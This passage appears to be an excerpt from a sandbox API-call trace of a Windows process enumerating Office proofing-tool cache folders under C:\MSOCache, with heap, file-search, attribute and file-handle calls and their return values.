(HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed98b8 [0042.587] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0042.587] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.588] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed99c0 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed67a0 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9ac8 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed67c0 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9bd0 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed67e0 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9cd8 [0042.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x140) returned 0xed5990 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0042.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.589] GetLastError () returned 0x12 [0042.589] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0042.590] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.590] GetLastError () returned 0x12 [0042.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed98b8) returned 1 [0042.590] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0042.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed99c0) returned 1 [0042.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0042.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.590] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0042.633] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0042.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0042.633] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0042.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0042.633] NtClose (Handle=0x174) returned 0x0 [0042.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed99c0 [0042.634] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0042.634] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.634] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed98b8 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6800 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9de0 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6820 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9ee8 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6840 [0042.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9ff0 [0042.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.635] GetLastError () returned 0x12 [0042.635] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0042.635] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.635] GetLastError () returned 0x12 [0042.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed99c0) returned 1 [0042.635] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0042.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed98b8) returned 1 [0042.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.635] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0042.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.635] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0042.636] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0042.636] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0042.636] NtClose (Handle=0x170) returned 0x0 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed98b8 [0042.636] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0042.636] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.636] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 